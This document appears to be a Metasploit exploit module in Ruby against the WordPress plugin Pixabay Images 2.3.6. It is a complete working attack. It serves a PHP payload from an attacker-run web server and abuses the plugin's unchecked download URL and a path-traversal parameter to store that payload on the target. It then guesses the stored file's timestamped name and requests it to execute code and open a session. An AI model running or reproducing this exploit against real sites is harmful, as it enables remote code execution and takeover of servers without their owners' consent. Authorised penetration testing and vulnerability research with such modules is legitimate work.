##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Pixabay Images PHP Code Upload',
      'Description'    => %q{
        This module exploits multiple vulnerabilities in the WordPress plugin Pixabay
        Images 2.3.6. The plugin does not check the host of a provided download URL
        which can be used to store and execute malicious PHP code on the system.
      },
      'Author'	=>
        [
          'h0ng10', # Discovery, Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'],
          ['OSVDB', '117145'],
          ['OSVDB', '117146'],
          ['WPVDB', '7758']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['pixabay-images 2.3', {}]],
      'DefaultTarget'  => 0,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate' => 'Jan 19 2015'
    ))

    register_options(
      [
        OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]),
        OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4])
      ])
  end


  # Handle incoming requests from the server
  def on_request_uri(cli, request)
      print_status("URI requested: #{request.raw_uri}")
      send_response(cli, payload.encoded)
  end

  # Create a custom URI
  def generate_payload_uri
      "#{get_uri}.php"
  end

  def autofilter
    true
  end

  def call_payload(file_name)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name)
    }, 3)

    res
  end

  def exploit
    unless wordpress_and_online?
      fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be WordPress site")
    end

    print_status("Starting up web service...")
    start_service

    payload_uri = generate_payload_uri
    vprint_status("Using URI #{payload_uri}")

    random_file_name = rand_text_alphanumeric(rand(5) + 5)
    post = {
      'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
      'image_url' => payload_uri,
      'image_user' => rand_text_alphanumeric(rand(5) + 5),
      'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}"
    }

    print_status("Uploading payload #{random_file_name}...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_backend),
      'vars_post' => post
    })

    stop_service

    unless res && res.code == 200 && res.headers['date']
      fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...")
    end

    server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i

    print_status("Calling payload...")
    datastore['TRIES'].times do |i|
      payload_name = "#{random_file_name}_#{server_epoch_time + i}.php"
      res = call_payload(payload_name)
      if (res && res.code == 200) || session_created?
        register_files_for_cleanup(payload_name)
        break
      end
    end
  end

  def check
    res = wordpress_and_online?
    unless res
      vprint_error("It doesn't look like a WordPress site")
      return Exploit::CheckCode::Unknown
    end

    # Send a request with a illegal URL to verify that the target is vulnerable
    post = {
      'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
      'image_url' => rand_text_alphanumeric(rand(5) + 5),
      'image_user' => rand_text_alphanumeric(rand(5) + 5),
      'q' => rand_text_alphanumeric(rand(5) + 5)
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_backend),
      'vars_post' => post
    })

    if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end
end
